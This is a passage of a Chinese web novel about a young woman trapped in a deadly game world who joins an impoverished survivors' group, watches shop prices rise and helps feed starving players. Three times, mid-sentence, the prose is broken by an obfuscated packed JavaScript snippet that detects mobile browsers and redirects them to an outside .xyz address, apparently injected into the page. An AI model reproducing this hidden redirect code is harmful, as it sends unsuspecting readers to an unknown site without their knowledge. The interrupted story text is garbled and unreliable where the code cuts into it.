“那……”蓝虹蝶看过去的时候,邻家女孩已经十分配合地站在她身边,和她一同通过了铁门。林屿再次看向身旁的NPC,他的目光一直留在她的脸上,分辨不出悲喜或是仇恨。 这回林屿没有伸手,只是简短地说道:“走吧。”也不关心他是什么反应,自顾自地往前。 而他竟然自觉地跟过来了。 林屿无从得知他的心中爆发出了什么样的火山,产生了什么样的化学反应,最终又想把她怎么样碎尸万段,如果异位而处,她自认为一定会恨透了对方,然而他身上的种种谜团,却又吸引着她不自觉地靠近。 “下一个副本,我等着你。” 最后的一秒钟,她看见他深邃的目光下不辨喜怒的脸,他似乎张口吐出一个音节:“好。” 耳边响起系统的通知,她第二次成功通关这个奇异游戏的副本,获得200通关积分,扣除20受伤积分,到账180积分,再加上随机礼包一个。 短暂的黑暗过后,眼睛被白色填满,她又回到了玩家的休息区——白城。 “没想到我们都出来了!你们是我的大恩人!谢谢大佬的粗大腿!” 林屿刚脱离副本,耳边就响起蓝虹蝶激动的声音,忍不住揉了揉额头。 “你们是我见过的高玩中心地最善良的,心地善良玩家中最厉害的!没有你们我一定又去了那该死的小黑屋,我简直不知道怎么报答才好……” 林屿在副本的最后使用过飞行技能以后脑袋隐隐作痛,但当时一直处于高度紧张状态,身体也在各种激素的刺激下维持着紧绷,虽然现在回到了安全的地方,身体的各种疼痛已经被系统治愈,但精神却没有恢复,脑子里仿佛有一根针四处搅动,抽痛感占据了感官。 她需要尽快回去休息。 “你之前说请我们吃饭。”林屿说道。 “?” 蓝虹蝶一开始没反应过来,“哦哦哦,我差点忘了,是该好好请你们吃一顿!但是只是请吃饭怎么够……” 何芝说道:“足够了,我们一人一条面包就行。” 见两人面露疲惫,似乎兴致不高的样子,蓝虹蝶也没有坚持,打开系统商城,从琳琅满目的商品中挑了两个夹着火腿、挤满奶油、用料很足的面包——这已经是每天白米饭玩家的奢华大餐,递给她们。 退出系统面板前看到剩余的积分,她忽然瞪大了眼,露出不可置信的表情,又重新回到商城页面查看了两个面包的价格。 林屿正要伸手接过,看到她的表情,顿了顿,说道:“其实白面包就可以,这个太贵重了。” 说完她心里有些好笑,总感觉自己像是生活在上个世纪物资匮乏时候,要是换成在游戏之外,她断然不会觉得一个面包有哪里贵重,然而这个破游戏简直把所有人都变成了逃荒的难民。 “不贵重不贵重,你们就收下吧,不然我心里过意不去。”蓝虹蝶急忙说道,把“大餐”塞到了她们手里,心里却在滴血。 商城里本来就贵得要命的东西居然还涨价了!这个破游戏还要不要人活了!她的积分,就这样直接没了,呜呜呜。 见到两人收下,蓝虹蝶放下了心,随后似乎有话要说的样子,有些支支吾吾地,“那个,不知道你们现在有没有加入什么联盟或者团体呀,或者是希望有更好的待遇什么的……我加入的‘黑蜘蛛’是一个很好的组织,只招收女性,普通成员一天提供一餐,不过高级成员一天有两餐,以你们的能力,想必能获得很好的待遇……” “黑蜘蛛是个不错的团体。”何芝说道,“但是我们已经有团队了,如果你想换一个,随时欢迎你来。” 招揽变成反招揽,蓝虹蝶噎了一下。 林屿忍不住笑了一下,然后又揉了揉太阳穴,“其实在我的上一个副本,就已经有黑蜘蛛的成员邀请过了,不过现在的地方更适合我。”因为这个组织里的核心成员就来自A大,至少比别的团队可信。 “你要不也考虑考虑?”这句话就纯属客套了。 别来,来了你就知道什么叫后悔,一天一顿变成三天一顿。 见两人都没有被打动,蓝虹蝶似乎以为她们加入的组织有更优厚的待遇,忍不住面露羡慕,“也对,你们这么厉害,加入的组织里肯定都是高玩,估计根本不担心吃不吃得饱的问题。” 林屿:“……” 她的目光飘到别处,然后听见何芝说:“这个嘛,你来了就知道了。” 好家伙,怪不得她能做组织话事人。 来了就知道什么?知道这是个又穷又抠门的黑心皮包公司? “唉,不是我不想来。”蓝虹蝶苦恼地皱起脸,“加入你们以后肯定就能抱上大腿了,但是首领是我姐,我也不好去别家落她的面子。” “首领是你姐?”林屿有些吃惊。 “我知道你的意思,想问我姐姐为什么不让别人带我过本。”蓝虹蝶道。 不,她根本什么也没想。 “虽说是姐妹,但是是异父异母没有血缘的姐妹,父母是再婚各自带着孩子……扯远了,我是想说我和她的关系并不好,她不管我,但她很注重面子,如果我加入了别人对他们不好。” “对了,你们的组织叫什么名字?” “种植者联盟。” 不知是不是错觉,林屿说完以后气氛一下子凝滞了。 “啊这个,你们来自种植者联盟?我可能听过一点流言蜚语,说这个组织完全没有成员福利……果然道听途说都是骗人的,你们的待遇肯定很好,每天说不定能有三顿白米饭!不然你们的归属感为什么这么强。” 林屿露出痛苦的表情,何芝眼疾手快一把扶住她,对蓝虹蝶说道:“我们消耗太大,需要回去了,有机会再一起下本。我们在六街十号,你呢?” “三街,三街十八号,我们黑蜘蛛的据点在这里,有机会来串门呀!”蓝虹蝶挥挥手,目送她们离去。 林屿靠着何芝手臂摇摇欲坠,何芝以为她是技能消耗过度的后遗症,说道:“再坚持一下,我们马上就能回去了。” 却听林屿幽幽问道:“何姐,你说我能找个一天三顿饭的组织加入吗?” “可以,我们组织就是。” 林屿难以置信地看着她,想不明白一身正气的人是怎么说出这种话的。 又听她补充道:“以前。” “所以,我是上了一艘将沉船吗?” “是一艘会驶出暗河的船。”何芝纠正道。 林屿直起身,“所以对这个游戏,你们了解多少?” 何芝沉默了一会儿,“我们探索到的只有冰山一角,但是这个游戏绝对不是大多数人想象的那样。今天你先好好休息,明天跟我去一个地方,或许你的好奇心能得到一点满足。” “我的好奇心很强吗?”林屿问道。 “不是吗?至少就我所见,这个副本里你的选择非常冒险,极少有玩家会选一个没有出现过的人做搭档,而且也很少有人遇到危险往前凑。”她顿了顿,“而你的性格却十分冷静、谨慎,不轻易做玩家间出挑的那一个,除了好奇心,我想不到其它的原因解释你身上的矛盾。” 林屿知道她指的是自己在查看那个倒吊尸体时差点遇险,“当时已经没有时间了,太阳落山之后我们都会失败,比起继续走那条安全的,百分之九十九无限循环的道路,我更愿意去那些看起来危险的地方找百分之一的可能性,很幸运,我这次赌对了。如你所说,这也许是由于我过于旺盛的好奇心,不喜欢那些放在明处的东西,不喜欢那些已知结局的选项,这一点大概已经根深蒂固,没办法纠正。” “所以,这一个考察副本的结果是什么,是不是我被淘汰了,不适合加入你们的核心队伍?” 何芝停住脚步,和她面对着面,“的确,如果队伍里有一个喜欢冒险的同伴,全体遭遇意外的概率会大大增加,如果希望在这里安稳度日,那么不会欢迎这样的成员。” 林屿心里有一种果然如此的感觉,心想她应该表现得再谨慎一点,不要那么出挑,应该像每回在家里那样乖顺,这样的人才受到更高权力者的喜欢。 “但是,我们的队伍除了给部分成员提供一个相对安全的后方以外,最重要的是继续探索整个游戏世界,找到回到现实的方式。小心谨慎、稳妥行事固然重要,但没有冒险,就没有未来。” 何芝在她睁大的双眼中认真地注视着她,“林屿,我们需要你,你愿意加入我的队伍吗?” “当然愿意。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495264|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她轻快地说道。 虽然这个这个名为“种植者联盟”的组织贫穷,抠门,规模小,但谁让她就□□神养料这一套呢?想到以后三天一顿饭的待遇,她忍不住深深叹了一口气,为自己默默点蜡。 说话间,两人已经走出了白塔范围,来到白色建筑群中。 林屿回过头看了一眼,环绕白塔的光圈中不断有人进入,也不断有人被送出,只是被送出来的人明显少于进入副本的人。 “是我的错觉吗?白塔下的人好像变多了。” 何芝说道:“不是你的错觉,确实变多了,也许……”她的目光严肃起来,“又有什么事发生了。” 林屿的目光在街头扫视,随声应和了一下,注意力却在别处,“嗯……不过刚才你们说的地址,多少多少街,这个是怎么划分的,还有多少号,我怎么没有看到标记?” “因为这个分区方法最开始用的人不多,原先大家都各叫各的,找一个位置特别不方便,而且这里很大,出了这片楼房区域都是荒地,也有很多人会选择住在荒地里。楼房是后来修建的,而且越来越多,玩家这才联合起来给环绕白塔的区域做了个规划:从白塔正面延伸出一条线作为零点,顺时针旋转三百六十度,以时钟的数字来对应区域,零点到一点方向是一区,以此类推。至于号码就比较随便了,从外向里数多少栋楼就是多少号。” “那为什么不在楼房外标明号码呢?” “嗯……白城只禁止玩家间互相伤害,但管不了别的,副本里难免会得罪人,写清楚门牌容易被摸到地址。” 林屿忽然想到什么,心里一咯噔,“所以睡大街被偷光衣服是完全有可能发生的?” 何芝露出一个古怪的表情,“虽然有可能发生,但也很少发生,毕竟大家基本上只是饿,不是冷,栽种作物的地方才是小偷们主要的目标。” 林屿还有问题,“为什么只有小偷,没有强盗?” 说话间,旁边的屋子里忽然被赶出来一个人,他狼狈地站稳身子,转过身冲屋子里吼道:“时间还没到,你们凭什么不让我住!” 门口走出来两个人,他们满脸轻蔑的笑容,抱着手臂斜倚在门框上,“租金涨了,想继续住,可以,再交一千的积分。” “一千!你们怎么不去抢?我哪里会有那么多积分!” “那我们就只有收回房子了。” 租客涨红了脸,“当时明明说好的住一个月!你们都收了积分,怎么能半途涨价,要涨也是这次时间过了之后涨啊!” 门框上的两个人笑嘻嘻的,“那系统商城涨价也没有通知过我们啊,你看看现在物价已经多少了,怎么还能用原先的价格住上这么好的地方呢?物要有所值,对吧?” 租客就要向里冲,却被两人用手臂挡了回来。 “我的东西还在里面!” “房子已经不属于你了。”两人没有一点要让他进去的意思。 租客气急,用力推开两人就要进去,其中一人顺势后退几步,后背撞上墙角,表情却不是吃痛,嘴角咧起,显得阴测测的。租客看到这一幕,露出恐惧的表情,下一秒,他的双脚下陷,惨叫着被白色的地面吞没。 撞墙的人揉了揉背,“妈的,识趣点不好吗?非要整这一出,害得我痛这么一下。” 同伴拍了他一下,“嗨呀幸苦了,等下卖的积分你多分一点,你六我四。” “该我七你三才行!”两人争辩着,在屋子里搜刮一番,用床单被子胡乱包起各种生活用品走出了门。 林屿被迎面走来的人撞了一下,感受到他们令人不快的目光,嘴角抿紧了。 何芝:“游戏在白城里对伤害的判定很严格,不要冲动,不然会像刚才那个人一样被拉进小黑屋。” 林屿道:“我有一个问题。” “什么问题?” “这里能用技能吗?” “可以,但是……”何芝话没有说完,就看见几步开外的两人脚下出现一堆衣物,肩上的包裹随之瘪了下去。他们猝不及防,没有料到平地行走都会出岔子,脸朝地狠狠地摔了一跤。 惨叫过后,两人抓狂地扫视着路人,人群纷纷避开,只余下狼狈的他们和一地散乱的东西。 林屿已经拉着何芝躲到建筑后面,“你说我会被举报成功拉小黑屋吗?” 因为距离不远,她刚才直接用“给予”技能将那两人包裹里的衣服“给予”到了他们脚下。 何芝有些无奈,“怕关小黑屋你还动手?放心,他不知道是谁做的,举报错了人会被扣积分。” “所以刚才你才没有阻止我?对了,你说的举报到底是怎么操作的?我怎么没看到有和系统对话的窗口?” “举报并不是和系统对话,有一个标识,在技能页面。” 林屿疑惑地点进去,“是这个感叹号吗?” “对,但是你别点,需要举报的时候对着举报对象点击,系统会自动扫描你身上有无伤口,有的话会判断伤口是不是你举报的人造成的,如果是就把对方关小黑屋,不是就扣200积分。” “……”林屿,“其实最坑人的就是系统吧。“ 何芝:“谁说不是呢?” 两人相视一笑,而林屿的内心却远比露出的神情更加喜悦,她终于知道怎么举报行为异常的NPC了,只要系统开始判断,贺望违反规则的事就瞒不住。 不过,刚才那两个人好像说过什么,系统商城涨价? “你怎么了?”何芝疑惑地问道,“脸色怎么这么差?” “何姐。”林屿艰难地开口,“你看系统商城。” 23. 第二十三章 林屿躺在床上,太阳穴突突地跳动着,阵阵疲惫如浪潮般淹没了她,肚子却在咕咕作响。 依据手环上的时间,她在副本里度过了六个小时,胃里空虚的感觉似乎印证了这一点,看起来白城的时间和现实相差不大,只有在副本里的时候时间的观感会变得错乱,白天、黑夜,似乎只是副本本身的计时方式,有长有短,与实际时间无关。 游戏会扣除积分治愈身体,让离开副本的玩家处于无伤状态,这点似乎表示玩家仍然是以自身进入副本,而不是像全息游戏那样仅仅是意识接入。 可是所有人都知道在副本里死亡后只是会被送往小黑屋,而并非真正地死去,并且副本的时间长短不一,像极了真正的游戏设置,再加上副本里没有饥饿感这一点,从这三个方面看,玩家似乎是以意识进入了一个虚拟世界。 难道扣除积分仅仅是一场混淆视线的骗局? 四周都是白色的墙壁,没有窗户,她的全部家当只有两套衣物,一套从家中带过来的家居服,一套在玩家市场买的正常衣服。这个组织有准备被单枕头,好让成员住得舒服一些,但更多的也没有了。 房间逼仄,然而这已经是许多玩家梦寐以求的“安全屋”了,然而林屿心里有一种自己上辈子犯了错所以这辈子要来这里坐牢的想法,回白城就是蹲大牢,打副本就是劳改。想着想着她“啪”地一声痛苦地捂住了额头。 这里其实比起家里也是半斤八两,都让人压抑得喘不过气。 不管这是什么地方,她都要想办法逃出去。 肚子“咕咕”地又叫了两声,林屿被拉回现实,打开游戏商城看了一圈价格翻倍的食物,用一种难以置信、深恶痛绝的语气嘀咕着,“60积分一碗白米饭,它怎么不去抢?” 光涨商城的价,有本事涨一涨通关副本的积分啊! 这个游戏就是要把所有人都饿死在这里! 虽然心里把这一套压榨人的机制骂了个狗血淋头,但饿着的肚子需要填,林屿怀着“这次涨价也许是暂时的,说不定过几天就降回原价”的侥幸心理,舍不得买白米饭吃,于是把副本里带出来的黄瓜拿出来啃了,又珍惜地从背包里拿出蓝虹蝶给的豪华奶油面包闻了闻,然后依依不舍地放回去。 在休息之前,她满怀期待地拆开这一回通关的礼包,上回手气不好是西瓜籽,这回总该随机出一点好东西了吧? 十秒钟过后,林屿背包又被占去一格,里面是粉末状和块状夹杂着石子的深褐色物体。 “这、这是……土……泥土?” 她怀着对以后生活质量的深深绝望睡了过去。 这一觉梦回上个世纪六七十年代,周围是和历史书里图片一模一样的环境,她成了饥荒村子里的小孩,长着一张教科书里出现过的脸,每天挖树皮,吃米糠,躺在床上一动不动节省体力,最后树皮米糠吃完了,爸爸妈妈给她端来一碗褐色的土,说吃完以后就不饿了。 她不想吃,因为她看到邻居家的孩子耐不住饿吃了土,然后就不动了。她拼命挣扎,说你们怎么不吃,他们说他们等会儿就吃。 但她还是不想吃,她总觉得他们说等会儿吃的不是土,然后她就挣扎着逃跑了,跑到村边上,忽然脚下一空,掉到一口枯井里。 这口枯井太深了,她一直掉,一直掉,都没有摔到地面上。 她往下一看,一道巨大的裂缝横贯大地,散发出令人恐惧的气息。 林屿满头大汗地醒来,方才的一切还历历在目。 这梦太恐怖了,从头到尾都在挨饿,甚至暗示她以后饿得受不了只有吃土! 还有那道裂缝,她明明已经成功地逃离了那个地方,却没有逃离当时的恐惧。 林屿拍了拍脸颊让自己清醒,然后立刻从系统商城里兑换了三碗饭放在背包里。 虽然价格贵得离谱,但还是看到实物比较放心。 只不过现在的积分已经快要见底了……这个游戏真的,让她无法用语言形容。 这时门外响起“叩叩”两声,在她回应之后房门从外面打开,一个青年探头进来,眼里满是兴奋与好奇,“林屿!听说你又通关一个副本,怎么办到的?” 林屿差点就要把门拍到他脸上,忽然想起来是“她”不是“他”,“孟锦竹?进来坐。” “不了,我来通知你去会议室,何姐说带你认一下人。” 林屿想起何芝说过今天带她去一个地方,迅速换好衣服,跟着孟锦竹穿过走廊,来到三楼尽头的双扇门外。 孟锦竹解释道:“何姐的办公室和会议室也在这一层楼,我和之前带回来的那个女孩子住在二楼……” “你们这里的房间都没有窗户吗?”林屿问道。 “因为我们大部分人防不住外面的人爬窗,所以就没有窗户,只有一楼的入口能进来。”孟锦竹将两扇门扉拉开,讨论声停了下来,何芝、韩舒、还有两个她不认识的男人围绕着一张白色的桌子坐着,所有人都转头看着她。 林屿心知这就是这个组织的核心成员了,不过还真是精简,加上自己,一共只有六人。 她默不作声地看了一圈,露出略微局促的表情,“何姐?” “坐。”何芝指了指身边的椅子,林屿依言坐下,孟锦竹不用招呼,见缝插针地找了个空隙搬过小板凳加了进去。 “这就是我们的新人?”林屿斜对面,穿着有领T恤,皮肤黝黑、满脸皱纹的男人笑着问道,看样子他已经五六十岁了。 没想到五六十岁还因为玩游戏来到这里。 “对,先前已经和你们说过了,她和韩舒、孟锦竹来自同一所大学,刚被游戏拉进来就连续通关两次副本,分析能力很强,直觉敏锐,我们队伍人数不多,正需要这样的队友加入。”何芝转而对林屿介绍道,“这位是我们的种植者严开吉,他原本是跟着言教授调研的向导,旁边这位是我在警局的搭档孙覃,他是我们可靠的后盾。” 一个寸头的高个男人向她点点头。 林屿看了看这个“可靠的后盾”,心里猜测着他被这样形容的理由。 “另外两位就不用我介绍了吧?” 韩舒对她说道:“很高兴你的加入,希望副本里我们守望相助,减少损失。” 林屿一一打过招呼。 何芝介绍完成员之后进入正题,“游戏商城涨价的事你们都知道了吧?有什么看法?” “从一周以前的事故开始,到我们的技能发生变化,现在是商城涨价,一环接着一环,我认为游戏里似乎出了什么变故。”严开吉皱着眉头,脸色变得严肃。 “但是一切变化都是从一周前小黑屋事故开始的,我认为那一次之后这个世界出现了损伤。”韩舒说道,“林屿是最新一批进来的可能不清楚,只要是一周以前来到这里的玩家,都知道副本不是现在这个样子的。” “原先的副本是什么样子?”林屿被激起了好奇心。 何芝解释道,“我来得最久,所以感受最深,当时的副本和现实中的游戏类型重合度很高,各种类型都有,比如你提到过的经营类、射击类、策略类、换装类,每个副本都有一个比较明显的主要类型,而乙游类型虽然有,却只是少数。” “你是说现在的副本都变成乙游的类型了?”林屿提出疑问,“最开始我也是这么看的,玩乙游被拉进真实的乙游里,但是通关两个本以后,我感觉副本只是表面看起来像乙游,有一点男女关系的元素,然而实质却不是乙游的感情纠葛和甜蜜恋爱,甚至没有很多促进玩家与NPC感情的设计,基本上都是玩家从NPC手中惊险逃生,更像是一款逃杀解谜游戏。” 孟锦竹小声赞叹,“不愧是玩乙游进来的,对乙游就是了解透彻!” 这下所有的目光都看向她。 林屿:“……” 感觉有点社死。 “是的,这样说来不仅仅是表面类型的变化,连带游戏本质也有所改变。”韩舒分析道,“这并不是说先前我们经历的副本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495265|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不危险了,输家一样会被关小黑屋,只不过在那次事故以后,副本开始向更加恐怖的方向转变。” “所以那次事故究竟发生了什么?”林屿在第一个副本就听说过这件事,已经好奇很久了。 韩舒张了张嘴,手指无意识蜷缩握紧了。 “我来说吧。”何芝接过话头,“我从最开始说起,既然加入了我们,这些事情该你明白。” “我们的组织现在名为‘种植者联盟’,我是总负责人,但原本我组建的是另外一个组织:‘救济者联盟’。” “三个月前我和搭档来到这里,看见许多玩家因为畏惧输掉游戏被关进那个完全黑暗的地方,宁愿饿着肚子也不敢进入副本,于是组建了‘救济者’,将积分换成食物接济他们,我们不希望有人被游戏害死,这也是我们的职责所在。但是,你知道,而且副本不是儿戏,那些恐怖和疼痛是实实在在的,仅仅靠着我们两人支撑,组织很快无以为继,这个时候我们遇到了言教授。” “他对我们伸出了援手,正好严叔觉醒了种植相关的技能,我们便利用这一点组建了种植者联盟,招揽玩家,培育食物,让更多的人能延长副本外休息的时间。言教授是联盟决策人,而我将‘救济者’并入‘种植者’之中,因为我们的信念相同:救助更多玩家和找到离开的方法。” “言教授是一个有见识的人,当时许多玩家都觉得这里是更高的维度,是外星人的实验,或者别的什么,但是教授观察了游戏世界一段时间,否认了这些看法,他认为这里虽然是一个相对独立的空间,但是与现实存在联系,并且这里没有高出现实世界的科技,我们不是没有可能脱离游戏。” 林屿想了想,说道:“其实根据你们对之前副本的描述,那些策略、经营、射击等类型不就是存在于现实的游戏之中吗?甚至可以说副本借鉴了现实。” “正是这个道理。”何芝接着讲述道,“就在一周前,组织里还有其他种植者玩家,然而教授经历过一次小黑屋以后,对我们说:‘那里是弱点’,并决定再去探查一次。” “弱点?” “教授的技能,能看到对方薄弱的地方。” “小黑屋是弱点……”林屿第一次听到这个说法,“难道教授看到了游戏薄弱的地方?” 游戏的弱点,竟然在所有人都害怕的地方。可那个地方究竟是怎么回事呢? “是的,教授的这个发现可以说十分重大,只要弄清楚了原因,说不定我们就能找到离开的办法,于是教授再次故意输掉副本,被关进小黑屋。但是这一次,却出事了……” 韩舒垂下眼睛,“是我们太轻率,让老师独自冒险。” “不是你的错,只能说事情就是这样不凑巧吧。”何芝苦笑,“教授再也没有出来,当时在小黑屋的所有玩家都失踪了,组织失去了领袖,许多相信教授能找到出路的人都走了,可以说除了我们,组织里已经没有几个成员了。” “我好像听说事故发生后白塔坍塌了一半,而你们推测自此以后游戏世界受到损伤,会不会是教授做了什么导致的?”林屿问道。 韩舒:“可是我们已经联系不上老师了……” 何芝却说道:“我认为不是教授做的,更可能是游戏世界自身的事故,一方面是教授不会做出这样牺牲玩家的事,另一方面是他的技能不具有任何的攻击性。” “不过我要提醒各位,千万不要再想着进入小黑屋查看,我们都不知道里面什么情况,不能再损失队友了。” “嗯……”林屿想了想,“关于游戏世界的事,我知道得还很少,不知道你们有没有调查过,在我的第一个副本,我问过的新玩家都是因为乙游而被拉进来的。” 众人对视一眼,“这是一个方向。”何芝说道,“回到最开始的话题,游戏商城涨价,你们认为过一段时间会恢复吗?” 林屿再次拉开面板看了看,“不用以后,现在又涨了。” 一时间所有人的脸色都变了。 24. 第二十四章 “我、我的积分只够换一碗饭了……”孟锦竹差点哭出声。 严开吉蹭地一下站起身,“我去看看这批水稻,把任向那小子叫过来干活!” 任向?有点耳熟。林屿回忆了一会儿想起来,那是出第一个副本后在玩家集市和孟锦竹打招呼的少年。 “种植者的能力到底是怎么回事?”林屿忍不住问其他人。 何芝面对着她脸上不加掩饰的好奇,开口解释道:“游戏让我们饿肚子,逼我们进副本,但是玩家在白城可以用技能,有时候副本里能捡到一些东西,比如种子、泥土、幼苗,种植者能够促使种子发芽生长,或者促进开花结果,就可以快速培育出能吃的作物、蔬菜等等。通常一个组织里有好几个种植者负责给玩家提供餐食,有福利才有人加入,其他玩家需要上交一部分积分给组织,并负责收集副本里能利用的东西。” 林屿忽然想到一个问题,“那我需要上交积分吗?” “不用。”何芝有些好笑地说道,“我们组织福利很少,所以也不用上交积分。” “这样的方式……是不是其它组织会要求成员每隔多久必须进一次副本?” “是的。”孟锦竹抢着回答,“比如那个黑蜘蛛,听说加入以后必须两天下一次本!” 林屿:“……” 知道了知道了,黑蜘蛛,我们组织的强劲对手。 “不过比起其他的组织,有一个你务必多留意。”何芝忽然想到什么。 韩舒反应过来,“是,这次开会的内容太多,我差点也忘记了。你一定记得,‘玩家公会’是一个非常没有下限的组织,如果遇到他们,最好绕道走,被缠上会很麻烦。” “昨天你教训的那两个收租人就来自‘玩家公会’。”何芝补充道,“他们每个成员都觉醒了技能。” “玩家公会”吗?她记住了。 开完会,何芝带她在这处据点四处转悠了一圈,林屿被带到组织生产白米饭的地方——一片稻田,从二楼大厅的侧门进入,里面种满了绿油油的稻米,布局类似梯田,一级一级向下排列,布满了整个空间,看样子这里一直打通到一楼,却没有留下一楼的出入口,难怪组织的一楼只有一个入口楼梯,没有任何房间。 严开吉不在这里,应该如他所说出门找人了。 何芝告诉她,严开吉的技能可以让水稻加速生长,却没有办法让它们开花结实,而任向的技能可以促进植物开花结实,却不能让它们迅速成长。 林屿直接好家伙,不就是营养生长和生殖生长吗,技能竟然还分得这么细,怪不得一个组织需要多个种植者配合。 不过技能这种本身就不科学的东西用起来这么讲科学真的很离谱。 水稻苗的根部浸没在水中,而水底是褐色的泥土,林屿低下头,看见自己的脸映在水面上,随着波纹荡漾,心中又出现了疑惑。 没办法,她对这个世界的了解实在太少。 “我记得商城里的水似乎是5积分一瓶?” 那需要多少积分的水才能养好这些植物,组织不收取成员积分,仅仅靠核心的几个人真的能供应得起吗? 他们是不是还有其他赚取积分的途径? 何芝露出了然的神色,“你是想问这样多的积分我们是不是负担得起,看样子你没有浏览完商城里的那些东西。也对,总共有几百页,你又才到不久,还在适应阶段,没有空闲去研究怎样节省积分。” “节省积分?”林屿有些好奇,“是指找一些平替吗?水还能有平替?” “5积分的是饮用水,但是栽种植物随便什么水都可以。”何芝笑了一下,“在88页能买到另外的水——没有那么干净,但是10积分可以买一立方。” 林屿打开系统面板的商城页面,跳转到第88页,匆匆扫视了一遍琳琅满目的商品,艰难地在一百多种选项中找到了目标。 “现在是10积分,那以前呢?” “这一项没有涨价。”何芝说道。 “真是奇怪。”很多东西已经涨了两轮,饮用水原本只要2积分一瓶,现在已经是5积分,而白米饭更是夸张地涨到了75积分,为什么这种水不涨价? 林屿想不明白,却也没有现在纠结这点,她突然想起背包里还占着两格对她没有用处,但可能在这里派上用场的东西。 “何姐,土和种子你们要吗?” “什么!你有土和种子!” 巨大的嗓门从身后响起,把林屿吓了一跳,她转过身,严开吉从门口三两步冲过来,身后还跟着一个少年。 “快给我看看!我们正缺泥巴用,多一些拿来铺地也能多种一点东西!” 林屿想了想,问道:“你想铺在哪里?” 严开吉伸手一指,点了一块空地。 林屿也不知道土要怎么用手拿,直接从系统背包里“取出”,很快一小堆土山在脚边成型。 “看样子有一立方。”严开吉面上露出喜色,拍了拍林屿肩膀,“你真是我们的福星,刚加入就帮了组织一个大忙,小何,你得给她提待遇!” 没等何芝发话,林屿便补充道:“不是还需要种子吗?除了水稻,你们还种别的吗?” 她有点担心他们不种填肚子能力没那么强的东西。 她把手中黑色的一粒一粒的东西交到严开吉手上,他拿出一粒在眼前看了看,脸上露出狂喜,“西瓜籽!我们有水果吃了!” 林屿:“……”原来他们只是弄不到别的。 何芝看到组织里“种植者”开心的模样,拍了拍林屿肩膀,“以后你每天都可以领一碗米饭,种出西瓜了分你一个。” 待遇一下子提高到她不进副本也不会饿死的程度,林屿有些难以置信,没想到占背包格的“垃圾”在别人眼中竟然是宝贝,所以自己手气还是不错? 不过她又有了新的疑问。 “这些水稻多久能收获一次?即使一个月一次,似乎也能养活整个组织的成员,不需要任何人进副本了。” 何芝默了默,“这正是我要带你去看的。” …… 白城的楼房围绕着白塔呈环形往外扩散,越靠近塔的周围修筑得越规整,随着两人远离白塔的方向向外走,两旁的建筑也逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495266|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐奇形怪状起来,有些没有房顶,有些墙壁是斜的,有些像是随意搭靠在一起的石板,还有一些奇形怪状得像蜗牛壳或者花枝鼠。 走过这些比危房还危房的建筑,何芝带林屿来到了一片“废弃之地”,像是被虫蛀空的巢穴,地面上残余着勉强算是几何形状的墙面,更多的是不规整的白色岩石——和先前的楼房的材质一模一样,也和地面一模一样,是这个名为玩家休息区的地方唯一取之不竭的东西。 然而当林屿深入这片区域,却不由暗自心惊。 正面是白得晃眼的建筑残骸和碎料,背面的阴影处却密密麻麻地睁着一双又一双眼睛,那是一些骨瘦如柴的人,他们嘴唇干裂,衣服破烂,或坐或卧,眼神麻木地盯着与此处格格不入的来人。 但不是所有人都失去了反应,有一些人的精神格外紧绷,他们受到刺激,开始尖叫、抓挠、撞墙,嘴里念着听不清的话语——而这一类人不在少数。 何芝手上提着一个白色大桶,里面盛满了稠粥,打开盖子以后陆陆续续有人围过来。 林屿有所明悟,“所以我们组织既是‘种植者’又是‘救济者’?” 何芝:“这是我们一致认同应该做的事:减少无谓死亡的玩家。副本我们干预不了,只能在这里补救。” 说完叹了一口气,“也只是杯水车薪而已,每一回都能看到很多新面孔。” “他们是害怕进副本吗?” “确切地说,是副本的真实伤痛和死亡体验,加上小黑屋的精神折磨,以及饥饿和恐惧把人变成这样的。很少有人能一次通关,而这正是噩梦的开始,一切都越来越糟,精神状态受损、身体状态下滑,而没有团队会接纳他们,即使是我们也无力像供应成员一样供养他们……”何芝说着顿了顿,“可以帮我找一找碗吗?” “碗?” “随便什么都可以,只要能装东西,你看他们手上。” 前来“打饭”的人似乎是有经验的那批,手中拿着一些略有凹陷的白色“容器”,林屿四下寻找,很快找来了一堆,毕竟只是废石料而已。 何芝让她给那些情绪激动、疯言疯语的人送饭,林屿一一递到他们手上,有一个女人方才还在大喊大叫,在她走近时忽然呆若木僵,一只腿还悬在空中,就这样站着不动了。 她把“碗”放在他的手上,她也没有反应,眼睛直勾勾地看着她。 “所有人都要死。” 林屿已经准备离开了,闻言转身问道:“你说什么?” 可再如何询问女人都没有反应了。 完成了这一次救济活动,林屿沉默着回程,心头因为方才见到的景象沉重不已,后背也因为那句莫名其妙的话升起寒意。 